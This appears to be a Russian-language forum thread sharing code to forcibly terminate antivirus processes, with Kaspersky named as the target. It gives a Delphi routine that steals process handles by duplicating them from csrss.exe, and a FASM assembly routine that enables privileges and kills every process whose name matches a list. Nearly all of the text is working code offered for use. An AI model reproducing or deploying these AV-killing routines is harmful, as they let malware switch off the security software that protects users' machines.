Можно попробовать сначала найти хэндл процесса вот таким способом (ms-rem): Код (Text): Function OpenProcessEx(dwProcessId: DWORD): THandle; var HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX; ProcessInfo: _PROCESS_BASIC_INFORMATION; idCSRSS: dword; hCSRSS : dword; tHandle: dword; r : dword; begin Result := 0; //открываем процесс csrss.exe idCSRSS := GetProcessId('csrss.exe'); hCSRSS := OpenProcess(PROCESS_DUP_HANDLE, false, idCSRSS); if hCSRSS = 0 then Exit; HandlesInfo := GetInfoTable(SystemHandleInformation); if HandlesInfo <> nil then for r := 0 to HandlesInfo^.NumberOfHandles do if (HandlesInfo^.Information[r].ObjectTypeNumber = $5) and //тип хэндла - процесс (HandlesInfo^.Information[r].ProcessId = idCSRSS) then //владелец - CSRSS begin //копируем хэндл себе if DuplicateHandle(hCSRSS, HandlesInfo^.Information[r].Handle, INVALID_HANDLE_VALUE, @tHandle, 0, false, DUPLICATE_SAME_ACCESS) then begin ZwQueryInformationProcess(tHandle, ProcessBasicInformation, @ProcessInfo, SizeOf(_PROCESS_BASIC_INFORMATION), nil); if ProcessInfo.UniqueProcessId = dwProcessId then begin VirtualFree(HandlesInfo, 0, MEM_RELEASE); CloseHandle(hCSRSS); Result := tHandle; Exit; end else CloseHandle(tHandle); end; end; VirtualFree(HandlesInfo, 0, MEM_RELEASE); CloseHandle(hCSRSS); end; а потом с SeDebug привилегиями закрыть процесс (не уверен насчет TerminateProcess, но под отладкой должно работать(чем она тебя не устроила)). Кашперский должен вылетать...
Вот ещё один на фасме! invoke GetCurrentProcess invoke OpenProcessToken,eax,TOKEN_QUERY_TOKEN_ADJUST_PRIVILEGES,phTo ken invoke LookupPrivilegeValueA,0,Privilege ,pLocalId mov dword[PrivilegeCount],1 mov dword[Attributes],2 invoke AdjustTokenPrivileges,dword[phToken],0,PrivilegeCount ,0,0,0 mov [prcs.dwSize],sizeof.PROCESSENTRY32 invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0 mov dword[hSnapshot], eax invoke Process32First, dword[hSnapshot],prcs f: mov edi,PrcList invoke StrStrIA,prcs.szExeFile, edi cmp eax,0 je _NextProc call kill _NextProc: invoke Process32Next,dword[hSnapshot],prcs cmp eax,0 jne f invoke ExitProcess,0 kill: invoke OpenProcess,PROCESS_TERMINATE,0,dword[prcs.th32ProcessID] invoke TerminateProcess,eax,0 retn